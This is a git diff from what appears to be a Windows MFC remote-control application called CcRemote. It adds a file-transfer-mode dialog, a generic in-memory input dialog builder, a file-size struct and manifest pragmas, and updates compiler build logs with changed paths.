|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
// TODO: 在此添加额外的初始化
|
||||||
|
CString str;
|
||||||
|
str.Format("此文件夹已包含一个名为“%s”的文件", m_strFileName);
|
||||||
|
|
||||||
|
for (int i = 0; i < str.GetLength(); i += 120)
|
||||||
|
{
|
||||||
|
str.Insert(i, "\n");
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
SetDlgItemText(IDC_TIPS, str);
|
||||||
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
|
// 异常: OCX 属性页应返回 FALSE
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//重写这个函数是因为让继承他的子类能够重载这个函数来判断id吧
|
||||||
|
void CFileTransferModeDlg::OnEndDialog(UINT id)
|
||||||
|
{
|
||||||
|
// TODO: Add your control notification handler code here
|
||||||
|
EndDialog(id);
|
||||||
|
}
|
27
CcRemote/CcRemote/FileTransferModeDlg.h
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "resource.h"
|
||||||
|
// CFileTransferModeDlg 对话框
|
||||||
|
|
||||||
|
class CFileTransferModeDlg : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CFileTransferModeDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CString m_strFileName;
|
||||||
|
CFileTransferModeDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||||
|
virtual ~CFileTransferModeDlg();
|
||||||
|
|
||||||
|
// 对话框数据
|
||||||
|
#ifdef AFX_DESIGN_TIME
|
||||||
|
enum { IDD = IDD_TRANSFERMODE_DLG };
|
||||||
|
#endif
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||||
|
afx_msg void OnEndDialog(UINT id);
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
|
||||||
|
};
|
228
CcRemote/CcRemote/InputDlg.cpp
Normal file
@@ -0,0 +1,228 @@
|
|||||||
|
////////////////////////////////////////////////////////////////
|
||||||
|
// MSDN Magazine -- June 2005
|
||||||
|
// If this code works, it was written by Paul DiLascia.
|
||||||
|
// If not, I don't know who wrote it.
|
||||||
|
// Compiles with Visual Studio .NET 2003 (V7.1) on Windows XP. Tab size=3.
|
||||||
|
//
|
||||||
|
#include "pch.h"
|
||||||
|
#include "InputDlg.h"
|
||||||
|
#include "PublicStruct.h"
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#define new DEBUG_NEW
|
||||||
|
#endif
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Note: Make sure nBufLen is big enough to hold your entire dialog template!
|
||||||
|
//
|
||||||
|
CDlgTemplateBuilder::CDlgTemplateBuilder(UINT nBufLen)
|
||||||
|
{
|
||||||
|
m_pBuffer = new WORD[nBufLen];
|
||||||
|
m_pNext = m_pBuffer;
|
||||||
|
m_pEndBuf = m_pNext + nBufLen;
|
||||||
|
}
|
||||||
|
|
||||||
|
CDlgTemplateBuilder::~CDlgTemplateBuilder()
|
||||||
|
{
|
||||||
|
delete [] m_pBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Create template (DLGTEMPLATE)
|
||||||
|
//
|
||||||
|
DLGTEMPLATE* CDlgTemplateBuilder::Begin(DWORD dwStyle, const CRect& rc,
|
||||||
|
LPCTSTR text, DWORD dwStyleEx)
|
||||||
|
{
|
||||||
|
ASSERT(m_pBuffer==m_pNext); // call Begin first and only once!
|
||||||
|
|
||||||
|
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
|
||||||
|
hdr->style = dwStyle; // copy style..
|
||||||
|
hdr->dwExtendedStyle = dwStyleEx; // ..and extended, too
|
||||||
|
hdr->cdit = 0; // number of items: zero
|
||||||
|
|
||||||
|
// Set dialog rectangle.
|
||||||
|
CRect rcDlg = rc;
|
||||||
|
hdr->x = (short)rcDlg.left;
|
||||||
|
hdr->y = (short)rcDlg.top;
|
||||||
|
hdr->cx = (short)rcDlg.Width();
|
||||||
|
hdr->cy = (short)rcDlg.Height();
|
||||||
|
|
||||||
|
// Append trailing items: menu, class, caption. I only use caption.
|
||||||
|
m_pNext = (WORD*)(hdr+1);
|
||||||
|
*m_pNext++ = 0; // menu (none)
|
||||||
|
*m_pNext++ = 0; // dialog class (use standard)
|
||||||
|
m_pNext = AddText(m_pNext, text); // append dialog caption
|
||||||
|
|
||||||
|
ASSERT(m_pNext < m_pEndBuf);
|
||||||
|
return hdr;
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Add dialog item (control).
|
||||||
|
//
|
||||||
|
void CDlgTemplateBuilder::AddItemTemplate(WORD wType, DWORD dwStyle,
|
||||||
|
const CRect& rc, WORD nID, DWORD dwStyleEx)
|
||||||
|
{
|
||||||
|
ASSERT(m_pNext < m_pEndBuf);
|
||||||
|
|
||||||
|
// initialize DLGITEMTEMPLATE
|
||||||
|
DLGITEMTEMPLATE& it = *((DLGITEMTEMPLATE*)AlignDWORD(m_pNext));
|
||||||
|
it.style = dwStyle;
|
||||||
|
it.dwExtendedStyle = dwStyleEx;
|
||||||
|
|
||||||
|
CRect rcDlg = rc;
|
||||||
|
it.x = (short)rcDlg.left;
|
||||||
|
it.y = (short)rcDlg.top;
|
||||||
|
it.cx = (short)rcDlg.Width();
|
||||||
|
it.cy = (short)rcDlg.Height();
|
||||||
|
it.id = nID;
|
||||||
|
|
||||||
|
// add class (none)
|
||||||
|
m_pNext = (WORD*)(&it+1);
|
||||||
|
*m_pNext++ = 0xFFFF; // next WORD is atom
|
||||||
|
*m_pNext++ = wType; // ..atom identifier
|
||||||
|
ASSERT(m_pNext < m_pEndBuf); // check not out of range
|
||||||
|
|
||||||
|
// increment control/item count
|
||||||
|
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
|
||||||
|
hdr->cdit++;
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Add dialog item (control).
|
||||||
|
//
|
||||||
|
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
|
||||||
|
const CRect& rc, LPCTSTR text, WORD nID, DWORD dwStyleEx)
|
||||||
|
{
|
||||||
|
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
|
||||||
|
m_pNext = AddText(m_pNext, text); // append title
|
||||||
|
*m_pNext++ = 0; // no creation data
|
||||||
|
ASSERT(m_pNext < m_pEndBuf);
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Add dialog item (control).
|
||||||
|
//
|
||||||
|
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
|
||||||
|
const CRect& rc, WORD wResID, WORD nID, DWORD dwStyleEx)
|
||||||
|
{
|
||||||
|
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
|
||||||
|
*m_pNext++ = 0xFFFF; // next is resource id
|
||||||
|
*m_pNext++ = wResID; // ..here it is
|
||||||
|
*m_pNext++ = 0; // no extra stuff
|
||||||
|
ASSERT(m_pNext < m_pEndBuf);
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Append text to buffer. Convert to Unicode if necessary.
|
||||||
|
// Return pointer to next character after terminating NULL.
|
||||||
|
//
|
||||||
|
WORD* CDlgTemplateBuilder::AddText(WORD* buf, LPCTSTR text)
|
||||||
|
{
|
||||||
|
if (text) {
|
||||||
|
USES_CONVERSION;
|
||||||
|
wcscpy((WCHAR*)buf, T2W((LPTSTR)text));
|
||||||
|
buf += wcslen((WCHAR*)buf)+1;
|
||||||
|
} else {
|
||||||
|
*buf++ = 0;
|
||||||
|
}
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Create string dialog. If no icon specified, use IDI_QUESTION. Note that
|
||||||
|
// the order in which the controls are added is the TAB order.
|
||||||
|
//
|
||||||
|
BOOL CInputDialog::Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent, WORD nIDIcon)
|
||||||
|
{
|
||||||
|
const int CXDIALOG = 200; // dialog width
|
||||||
|
const int DLGMARGIN = 7; // margins all around
|
||||||
|
const int CYSTATIC = 8; // height of static text
|
||||||
|
const int CYEDIT = 12; // height of edit control
|
||||||
|
const int CYSPACE = 5; // vertical space between controls
|
||||||
|
const int CXBUTTON = 40; // button width...
|
||||||
|
const int CYBUTTON = 15; // ..and height
|
||||||
|
|
||||||
|
CDlgTemplateBuilder& dtb = m_dtb;
|
||||||
|
CRect rc(
|
||||||
|
CPoint(0,0),
|
||||||
|
CSize(CXDIALOG, CYSTATIC + CYEDIT + CYBUTTON + 2*DLGMARGIN + 2*CYSPACE));
|
||||||
|
|
||||||
|
// create dialog header
|
||||||
|
DLGTEMPLATE* pTempl = dtb.Begin(WS_POPUPWINDOW|DS_MODALFRAME|WS_DLGFRAME,rc,caption);
|
||||||
|
|
||||||
|
// shrink main rect by margins
|
||||||
|
rc.DeflateRect(CSize(DLGMARGIN,DLGMARGIN));
|
||||||
|
|
||||||
|
// create icon if needed
|
||||||
|
if (nIDIcon) {
|
||||||
|
if (nIDIcon >= (WORD)IDI_APPLICATION) {
|
||||||
|
// if using a system icon, I load it here and set it in OnInitDialog
|
||||||
|
// because can't specify system icon in template, only icons from
|
||||||
|
// application resource file.
|
||||||
|
m_hIcon = ::LoadIcon(NULL, MAKEINTRESOURCE(nIDIcon));
|
||||||
|
nIDIcon = 0;
|
||||||
|
} else {
|
||||||
|
m_hIcon = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// The size is calculated in pixels, but it seems to work OK--???
|
||||||
|
CSize sz(GetSystemMetrics(SM_CXICON),GetSystemMetrics(SM_CYICON));
|
||||||
|
CRect rcIcon(rc.TopLeft(), sz);
|
||||||
|
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add icon
|
||||||
|
WS_VISIBLE|WS_CHILD|SS_LEFT|SS_ICON, rc, nIDIcon, IDICON);
|
||||||
|
rc.left += sz.cx; // shrink main rect by width of icon
|
||||||
|
}
|
||||||
|
|
||||||
|
// add prompt
|
||||||
|
rc.bottom = rc.top + CYSTATIC; // height = height of static
|
||||||
|
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add it
|
||||||
|
WS_VISIBLE|WS_CHILD|SS_LEFT, rc, prompt);
|
||||||
|
|
||||||
|
// add edit control
|
||||||
|
rc += CPoint(0, rc.Height() + CYSPACE); // move below static
|
||||||
|
rc.bottom = rc.top + CYEDIT; // height = height of edit control
|
||||||
|
dtb.AddItem(CDlgTemplateBuilder::EDIT, // add it ES_AUTOHSCROLL must be add
|
||||||
|
WS_VISIBLE|WS_CHILD|WS_BORDER|WS_TABSTOP|ES_AUTOHSCROLL, rc, m_str, IDEDIT);
|
||||||
|
|
||||||
|
// add OK button
|
||||||
|
rc += CPoint(0, rc.Height() + CYSPACE); // move below edit control
|
||||||
|
rc.bottom = rc.top + CYBUTTON; // height = button height
|
||||||
|
rc.left = rc.right - CXBUTTON; // width = button width
|
||||||
|
rc -= CPoint(CXBUTTON + DLGMARGIN,0); // move left one button width
|
||||||
|
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add it
|
||||||
|
WS_VISIBLE|WS_CHILD|WS_TABSTOP|BS_DEFPUSHBUTTON, rc, _T("&OK"), IDOK);
|
||||||
|
|
||||||
|
// add Cancel button
|
||||||
|
rc += CPoint(CXBUTTON + DLGMARGIN,0); // move right again
|
||||||
|
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add Cancel button
|
||||||
|
WS_VISIBLE|WS_CHILD|WS_TABSTOP, rc, _T("&Cancel"), IDCANCEL);
|
||||||
|
|
||||||
|
return InitModalIndirect(pTempl, pParent);
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Initialize dialog: if I loaded a system icon, set it in static control.
|
||||||
|
//
|
||||||
|
BOOL CInputDialog::OnInitDialog()
|
||||||
|
{
|
||||||
|
if (m_hIcon) {
|
||||||
|
CStatic* pStatic = (CStatic*)GetDlgItem(IDICON);
|
||||||
|
ASSERT(pStatic);
|
||||||
|
pStatic->SetIcon(m_hIcon);
|
||||||
|
}
|
||||||
|
return CDialog::OnInitDialog();
|
||||||
|
}
|
||||||
|
|
||||||
|
/////////////////
|
||||||
|
// User pressed OK: check for empty string if required flag is set.
|
||||||
|
//
|
||||||
|
void CInputDialog::OnOK()
|
||||||
|
{
|
||||||
|
UpdateData(TRUE);
|
||||||
|
if (m_bRequired && m_str.IsEmpty()) {
|
||||||
|
MessageBeep(0);
|
||||||
|
return; // don't quit dialog!
|
||||||
|
}
|
||||||
|
CDialog::OnOK();
|
||||||
|
}
|
83
CcRemote/CcRemote/InputDlg.h
Normal file
@@ -0,0 +1,83 @@
|
|||||||
|
////////////////////////////////////////////////////////////////
|
||||||
|
// PixieLib(TM) Copyright 1997-2005 Paul DiLascia
|
||||||
|
// If this code works, it was written by Paul DiLascia.
|
||||||
|
// If not, I don't know who wrote it.
|
||||||
|
// Compiles with Visual Studio.NET 7.1 or greater. Set tabsize=3.
|
||||||
|
//
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Helper class to build a dialog template in memory. Only supports what's
|
||||||
|
// needed for CStringDialog.
|
||||||
|
//
|
||||||
|
class CDlgTemplateBuilder {
|
||||||
|
protected:
|
||||||
|
WORD* m_pBuffer; // internal buffer holds dialog template
|
||||||
|
WORD* m_pNext; // next WORD to copy stuff
|
||||||
|
WORD* m_pEndBuf; // end of buffer
|
||||||
|
|
||||||
|
// align ptr to nearest DWORD
|
||||||
|
WORD* AlignDWORD(WORD* ptr) {
|
||||||
|
ptr++; // round up to nearest DWORD
|
||||||
|
LPARAM lp = (LPARAM)ptr; // convert to long
|
||||||
|
lp &= 0xFFFFFFFC; // make sure on DWORD boundary
|
||||||
|
return (WORD*)lp;
|
||||||
|
}
|
||||||
|
|
||||||
|
void AddItemTemplate(WORD wType, DWORD dwStyle, const CRect& rc,
|
||||||
|
WORD nID, DWORD dwStyleEx);
|
||||||
|
|
||||||
|
public:
|
||||||
|
// Windows predefined atom names
|
||||||
|
enum { BUTTON=0x0080, EDIT, STATIC, LISTBOX, SCROLLBAR, COMBOBOX };
|
||||||
|
|
||||||
|
CDlgTemplateBuilder(UINT nBufLen=1024);
|
||||||
|
~CDlgTemplateBuilder();
|
||||||
|
|
||||||
|
DLGTEMPLATE* GetTemplate() { return (DLGTEMPLATE*)m_pBuffer; }
|
||||||
|
|
||||||
|
// functions to build the template
|
||||||
|
DLGTEMPLATE* Begin(DWORD dwStyle, const CRect& rc, LPCTSTR caption, DWORD dwStyleEx=0);
|
||||||
|
WORD* AddText(WORD* buf, LPCTSTR text);
|
||||||
|
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
|
||||||
|
LPCTSTR text, WORD nID=-1, DWORD dwStyleEx=0);
|
||||||
|
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
|
||||||
|
WORD nResID, WORD nID=-1, DWORD dwStyleEx=0);
|
||||||
|
};
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Class to implement a simple string input dialog. Kind of like MessageBox
|
||||||
|
// but it accepts a single string input from user. You provide the prompt. To
|
||||||
|
// use:
|
||||||
|
//
|
||||||
|
// CStringDialog dlg; // string dialog
|
||||||
|
// dlg.m_bRequired = m_bRequired; // if string is required
|
||||||
|
// dlg.Init(_T("Title"), _T("Enter a string:"), this, IDI_QUESTION);
|
||||||
|
// dlg.DoModal(); // run dialog
|
||||||
|
// CString result = dlg.m_str; // whatever the user typed
|
||||||
|
//
|
||||||
|
class CInputDialog : public CDialog {
|
||||||
|
public:
|
||||||
|
CString m_str; // the string returned [in,out]
|
||||||
|
BOOL m_bRequired; // string required?
|
||||||
|
HICON m_hIcon; // icon if not supplied
|
||||||
|
|
||||||
|
CInputDialog() { }
|
||||||
|
~CInputDialog() { }
|
||||||
|
|
||||||
|
// Call this to create the template with given caption and prompt.
|
||||||
|
BOOL Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent=NULL,
|
||||||
|
WORD nIDIcon=(WORD)IDI_QUESTION);
|
||||||
|
|
||||||
|
protected:
|
||||||
|
CDlgTemplateBuilder m_dtb; // place to build/hold the dialog template
|
||||||
|
enum { IDICON=1, IDEDIT }; // control IDs
|
||||||
|
|
||||||
|
// MFC virtual overrides
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
virtual void OnOK();
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
DDX_Text(pDX, IDEDIT, m_str);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
@@ -66,3 +66,19 @@ typedef struct
|
|||||||
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
||||||
}LOGININFO;
|
}LOGININFO;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
DWORD dwSizeHigh;
|
||||||
|
DWORD dwSizeLow;
|
||||||
|
}FILESIZE;
|
||||||
|
|
||||||
|
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
|
||||||
|
#ifdef _UNICODE
|
||||||
|
#if defined _M_IX86
|
||||||
|
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||||||
|
#elif defined _M_X64
|
||||||
|
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||||||
|
#else
|
||||||
|
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
BIN
CcRemote/CcRemote/RCa16756
Normal file
BIN
CcRemote/CcRemote/RDa16756
Normal file
@@ -1,46 +1,46 @@
|
|||||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||||
pch.cpp
|
pch.cpp
|
||||||
CcRemote.cpp
|
CcRemote.cpp
|
||||||
CcRemoteDlg.cpp
|
CcRemoteDlg.cpp
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(162): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(164): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(167): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(169): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(308): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(312): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(325): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(335): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(798): warning C4018: “<=”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(826): warning C4018: “<=”: 有符号/无符号不匹配
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(880): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(908): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
CScreenSpyDlg.cpp
|
CScreenSpyDlg.cpp
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||||
CSettingDlg.cpp
|
CSettingDlg.cpp
|
||||||
CShellDlg.cpp
|
CShellDlg.cpp
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
CSystemDlg.cpp
|
CSystemDlg.cpp
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
CpuUsage.cpp
|
CpuUsage.cpp
|
||||||
IniFile.cpp
|
IniFile.cpp
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||||
SEU_QQwry.cpp
|
SEU_QQwry.cpp
|
||||||
TrueColorToolBar.cpp
|
TrueColorToolBar.cpp
|
||||||
Buffer.cpp
|
Buffer.cpp
|
||||||
IOCPServer.cpp
|
IOCPServer.cpp
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
|
||||||
正在生成代码
|
正在生成代码
|
||||||
All 520 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
All 523 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||||
已完成代码的生成
|
已完成代码的生成
|
||||||
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||||
|
@@ -1,2 +1,2 @@
|
|||||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||||
Release|Win32|G:\CcRemote\CcRemote\CcRemote\|
|
Release|Win32|F:\myapp\CcRemote\CcRemote\|
|
||||||
|
@@ -1291,6 +1291,8 @@ void CIOCPServer::ResetConnection(ClientContext* pContext)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
